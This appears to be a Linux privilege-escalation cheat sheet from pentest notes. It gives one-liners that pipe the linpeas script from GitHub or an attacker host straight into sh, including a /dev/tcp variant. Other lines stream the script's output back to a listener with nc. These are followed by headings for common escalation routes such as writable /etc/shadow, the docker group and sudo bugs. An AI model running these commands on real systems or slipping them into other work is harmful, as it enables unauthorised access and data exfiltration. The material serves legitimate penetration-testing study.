PrivilageEsc Linux πŸ‘‘

  • Remote Network

## ------------------| Remote download and execrute from Github 
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh       
wget -q -O - https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh       
  • Local Network

## ------------------| Local Network
curl 10.10.10.10/linpeas.sh | sh

## ------------------| Without CURL
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

## ------------------| Excute from memory and send output back to the host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
wget -q -O - 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
nc -lvnp 9002 | tee linpeas.out #Host
  • Output Format

## ------------------| Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors
  • AV Bypass

  • Remote Network

  • Local Network

-Linux process snooping [unprivileged]

  • Download

    • 32 bit big, static version: pspy32 download

    • 64 bit big, static version: pspy64 download

    • 32 bit small version: pspy32s download

    • 64 bit small version: pspy64s download

06. Common exploits

06.0 Abusing Shell Features

06.1 Shellshock

06.2 LXD

06.5 If you have or can?

  • If you have LD_PRELOAD in env_keep variable?

  • If you have LD_LIBRARY_PATH in env_keep variable?

  • If you have SETENV in sudo -l?

  • Do we have no_root_squash in /etc/exports

  • If you have write permission to /etc/sudoers file?

  • If you have write permission to /etc/shadow file?

  • If you have write permission to /etc/passwd ?

  • Can run apache2 as root user?

  • If you are in **video ** group

  • If you are in docker group

  • If you have apt update on /etc/crontab

  • If sudo -l only for apt-get update or apt-get upgrade?

  • If you see jdwp run as privilege user ??

  • If you are in disk group ?

  • Can you run gdb (debug)?

  • If you can read .Xauthority file?

  • If you can run dstat tool as sudo

  • If we can run any doas

06.6 SUDO Vulnerability

06.7 Ansible

06.8 Other

07. Kernel Privesc

Last updated